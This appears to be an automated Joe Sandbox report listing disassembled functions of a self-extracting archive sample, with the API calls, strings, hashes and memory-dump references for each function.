Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 7d86186b3679ead23179c5a4a700dae95e8f7a1d489150ade7fcecd5d7506b91
Instruction ID: b104c5dd5367a065df885a9e2dbee3cc7c74aa920c3ff34c4f8f515408fc272f
Opcode Fuzzy Hash: 7d86186b3679ead23179c5a4a700dae95e8f7a1d489150ade7fcecd5d7506b91
Instruction Fuzzy Hash: 7331E271145342BFE311DF20EC4AFAB7FACEB96704F000519F691D63A0EB688A058B76

Function 00CDD78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00CDD7AE
ShellExecuteExW.SHELL32(?), ref: 00CDD8DE
ShowWindow.USER32(?,00000000), ref: 00CDD91D
GetExitCodeProcess.KERNEL32(?,?), ref: 00CDD959
CloseHandle.KERNEL32(?), ref: 00CDD97F
ShowWindow.USER32(?,00000001), ref: 00CDD9E1

Strings

.exe, xrefs: 00CDD989
.inf, xrefs: 00CDD89A

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 87453b002db86c40a659e2c800f7ef342ebe0ee506f426d07a54be5e5bc56c3b
Instruction ID: 1525631867463765d6fb796b0d1692b15002b5d3019f9c281ffe5244e3842a1b
Opcode Fuzzy Hash: 87453b002db86c40a659e2c800f7ef342ebe0ee506f426d07a54be5e5bc56c3b
Instruction Fuzzy Hash: FE51C370808380AAD7319F64A854BBBBBE4AF41744F04041FF7D6973A1DB729B85D762

Function 00CEA95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00CE5695,00CE5695,?,?,?,00CEABAC,00000001,00000001,2DE85006), ref: 00CEA9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00CEABAC,00000001,00000001,2DE85006,?,?,?), ref: 00CEAA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00CEAB35
__freea.LIBCMT ref: 00CEAB42

Part of subcall function 00CE8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00CECA2C,00000000,?,00CE6CBE,?,00000008,?,00CE91E0,?,?,?), ref: 00CE8E38

__freea.LIBCMT ref: 00CEAB4B
__freea.LIBCMT ref: 00CEAB70

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: e7ed774221500d87e9982c1eccf655f8396b4d0d984dccc3448406566d2c78ad
Instruction ID: 394873555f12b319fb3a7ed021e714bbc15fae949e484ff91a9df56f4cc9c751
Opcode Fuzzy Hash: e7ed774221500d87e9982c1eccf655f8396b4d0d984dccc3448406566d2c78ad
Instruction Fuzzy Hash: 1E511372600296AFDB258F66CC81FBFB7AAEB44710F154629FC14D7150EB34ED40E6A2

Function 00CE3B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00CE3C35,?,?,00D22088,00000000,?,00CE3D60,00000004,InitializeCriticalSectionEx,00CF6394,InitializeCriticalSectionEx,00000000), ref: 00CE3C03

Strings

api-ms-, xrefs: 00CE3BC3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 7a92d0a14e427bf5018975824f0e475e806983e02cc20b8df6c9f4aa54888dd6
Instruction ID: 46a680e3441b0d8576348b3d588e429533b6d074818922ee032e357d82fbd051
Opcode Fuzzy Hash: 7a92d0a14e427bf5018975824f0e475e806983e02cc20b8df6c9f4aa54888dd6
Instruction Fuzzy Hash: 3F11A731A452E5ABCB218B6A9C49B6E37649F01770F250211E926EB2D0D775FF00C6D2

Function 00CDABAB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00CDABC2
SHAutoComplete.SHLWAPI(?,00000010), ref: 00CDABF9

Part of subcall function 00CD1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00CCC116,00000000,.exe,?,?,00000800,?,?,?,00CD8E3C), ref: 00CD1FD1

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00CDABE9

Strings

@Ut, xrefs: 00CDABF9
EDIT, xrefs: 00CDABCD, 00CDABD8, 00CDABE5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @Ut$EDIT
API String ID: 4243998846-2065656831
Opcode ID: cdc449800469df18583b6a5ac0a671612c4e9f8812830d42da6ab4f31b84dffd
Instruction ID: 4382d83a25ac211aae670a6f89fd2c60ad92ecf02db42293ebbe41e5f0f513b6
Opcode Fuzzy Hash: cdc449800469df18583b6a5ac0a671612c4e9f8812830d42da6ab4f31b84dffd
Instruction Fuzzy Hash: D4F0823260132877DB305B649C09FAB76AC9B46B40F484013BB05E22C0D765DB4286BA

Function 00CDAC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CD081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD0836
Part of subcall function 00CD081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CCF2D8,Crypt32.dll,00000000,00CCF35C,?,?,00CCF33E,?,?,?), ref: 00CD0858

OleInitialize.OLE32(00000000), ref: 00CDAC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CDAC66
SHGetMalloc.SHELL32(00D08438), ref: 00CDAC70

Strings

riched20.dll, xrefs: 00CDAC1E
3Qo, xrefs: 00CDAC47

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Qo
API String ID: 3498096277-4232643773
Opcode ID: 32be95efdb5c289ba553eda85534b92df93d7a01f3da43a2644ead93810cc352
Instruction ID: 7da2cd2f8d7291c42257a5a985dfd7a5bfb2157884af74b08e8ecdbf17264e48
Opcode Fuzzy Hash: 32be95efdb5c289ba553eda85534b92df93d7a01f3da43a2644ead93810cc352
Instruction Fuzzy Hash: A4F0FFB1D00209ABCB20AFA9D9499AFFBFCEF94700F004157A555E2241DBB856069BB1

Function 00CC98E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00CC7760,?,00000005,?,00000011), ref: 00CC995F
GetLastError.KERNEL32(?,?,00CC7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CC996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00CC7760,?,00000005,?), ref: 00CC99A2
GetLastError.KERNEL32(?,?,00CC7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CC99AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00CC7760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00CC99F9

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 005f8fb81aed0e78cc146d7ec5f054bf7f93941a36e28d586e0425e6657abbf9
Instruction ID: ee3130689e0b5fdad901d7914275a5fd7f170291d3bc86b775d2090d0920129b
Opcode Fuzzy Hash: 005f8fb81aed0e78cc146d7ec5f054bf7f93941a36e28d586e0425e6657abbf9
Instruction Fuzzy Hash: 9E3121309447816FE7309F24CC4AFAABB94FB04320F200B1EF9B9961D0D7B4AA44CB95

Function 00CDDBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00CDDBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CDDC30

Strings

sfxcmd, xrefs: 00CDDBEF
sfxpar, xrefs: 00CDDC2B

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: b6dc94e8f9fe02f6c6151e0e4d681363ea7c2202572adcc179bc525e637cd425
Instruction ID: 9d80cf915c9a5441e0732f6dee2af9bf541682a27d0064f8b38db668d830626f
Opcode Fuzzy Hash: b6dc94e8f9fe02f6c6151e0e4d681363ea7c2202572adcc179bc525e637cd425
Instruction Fuzzy Hash: 24F0EC7291422877CB202F958C06FFF7B58BF44781F044413FF8696255D6B09940D6B1

Function 00CC9785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00CC9795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00CC97AD
GetLastError.KERNEL32 ref: 00CC97DF
GetLastError.KERNEL32 ref: 00CC97FE

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: b23d9a1d43deb2e476d53e1d2c0cee34a944809c54cc3a80e5fafd10bed4a0d6
Instruction ID: 48957f2716f86bd32fb15a278d8bb7808ebd1a2c46edab073a59170e8fca7e2c
Opcode Fuzzy Hash: b23d9a1d43deb2e476d53e1d2c0cee34a944809c54cc3a80e5fafd10bed4a0d6
Instruction Fuzzy Hash: 2B113C31914614EBDF205F65C808F6D37B9FB42361F10892EE426C61D0DB749F44DB62

Function 00CEAD34 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00CCD710,00000000,00000000,?,00CEACDB,00CCD710,00000000,00000000,00000000,?,00CEAED8,00000006,FlsSetValue), ref: 00CEAD66
GetLastError.KERNEL32(?,00CEACDB,00CCD710,00000000,00000000,00000000,?,00CEAED8,00000006,FlsSetValue,00CF7970,FlsSetValue,00000000,00000364,?,00CE98B7), ref: 00CEAD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00CEACDB,00CCD710,00000000,00000000,00000000,?,00CEAED8,00000006,FlsSetValue,00CF7970,FlsSetValue,00000000), ref: 00CEAD80

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 1fe44525917c1585e5cff54f7c58167ac2400f31948403711f43afed5a36b87a
Instruction ID: edf6b42aed365bb0b5e3328558e63d95bef0eb2d7aa2d03fa4ecbbeb2834bd10
Opcode Fuzzy Hash: 1fe44525917c1585e5cff54f7c58167ac2400f31948403711f43afed5a36b87a
Instruction Fuzzy Hash: 7601F7362012A2BFC7214B6A9C44BAB7B58EF05BA27110620F916D3550DB25EB01C6E2

Function 00CC9F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00CCD343,00000001,?,?,?,00000000,00CD551D,?,?,?), ref: 00CC9F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00CD551D,?,?,?,?,?,00CD4FC7,?), ref: 00CC9FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00CCD343,00000001,?,?), ref: 00CCA011

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 569eb953b9e19f97f4df6710abc0e56e3b901a90083bebfe7fea6b33e04743f4
Instruction ID: b38c8215e631b9e70e08bc9cad3c2ea45145c874d711bd7d3574418246fc2abd
Opcode Fuzzy Hash: 569eb953b9e19f97f4df6710abc0e56e3b901a90083bebfe7fea6b33e04743f4
Instruction Fuzzy Hash: D231C031204349AFDB14CF20D80CF6EB7A5EF85754F00451DF89297290CB75AE88CBA2

Function 00CCA2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00CCC27E: _wcslen.LIBCMT ref: 00CCC284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA30C
GetLastError.KERNEL32(?,?,?,?,00CCA175,?,00000001,00000000,?,?), ref: 00CCA329

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: f39920de5fca2efca15e2ea8b120c7ff515a40072442e72c2635ec1b43f57c48
Instruction ID: 752ca8df1bc4bd483af08d2b327e6a53d28a83fb8ad7cd8bbed4708503f00eca
Opcode Fuzzy Hash: f39920de5fca2efca15e2ea8b120c7ff515a40072442e72c2635ec1b43f57c48
Instruction Fuzzy Hash: 2E01B5712002A86AEF21ABB5CC5DFFD36489F09789F08441DF912D61A1DB54CB81D6B7

Function 00CEB893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00CEB8B8

Strings

, xrefs: 00CEB8FD

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 41c7e746a2e298a1ad9f01c0c8d7348faadc20993ad43407e71620d805461f40
Instruction ID: 92b9e9f93c872134a54cd602f560f55df6221085a54b4803d8ac6619156fb471
Opcode Fuzzy Hash: 41c7e746a2e298a1ad9f01c0c8d7348faadc20993ad43407e71620d805461f40
Instruction Fuzzy Hash: 7141D4705043CC9ADB218E668C84BFBBBB9EB45304F1404EDE69A86143D335AE45DB61

Function 00CEAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 00CEAFDD

Strings

LCMapStringEx, xrefs: 00CEAF7D, 00CEAF87

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 8de5d07773053a2305d79c12e5e2c39d21fc3a6cf95317792b9ff8c805a43479
Instruction ID: b83b8dc36476b33bcd0162535b7b8f392401cfd5b762aa76264a2065a5854530
Opcode Fuzzy Hash: 8de5d07773053a2305d79c12e5e2c39d21fc3a6cf95317792b9ff8c805a43479
Instruction Fuzzy Hash: 4801483250424EBFCF02AF91DC06EEE7F62EF08750F014255FE1466160CA729A31EB82

Function 00CEAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00CEA56F), ref: 00CEAF55

Strings

InitializeCriticalSectionEx, xrefs: 00CEAF1B, 00CEAF25

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 72acc839015317f5e38bd6130651fc90a8a6118f00d5ff80f8fae616c0b6c49e
Instruction ID: fc4cbb317f9e729dde203cb9c92dda8b80ea303b88ff294820e25608ee909037
Opcode Fuzzy Hash: 72acc839015317f5e38bd6130651fc90a8a6118f00d5ff80f8fae616c0b6c49e
Instruction Fuzzy Hash: 5EF0903164525CBFCF056F51CC06EBD7F61EF04B11B004165F90996260DA715B20E787

Function 00CEADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00CEADEE

Strings

FlsAlloc, xrefs: 00CEADC0, 00CEADCA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: bd7017dfd31223291c81c70e61e3e4db4655a915cbd8d1ec6ed9e7808309be9c
Instruction ID: 798005b770d6f0a61d9d0bf933d7c9e5a7d2a6c30a0f44cb9ffa47f3445649a8
Opcode Fuzzy Hash: bd7017dfd31223291c81c70e61e3e4db4655a915cbd8d1ec6ed9e7808309be9c
Instruction Fuzzy Hash: 4DE0E531A4521C7BC611AB66DC06F7EBB54DB04B21B0142AAF90597250CDB16F11D6DB

Function 00CDEAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

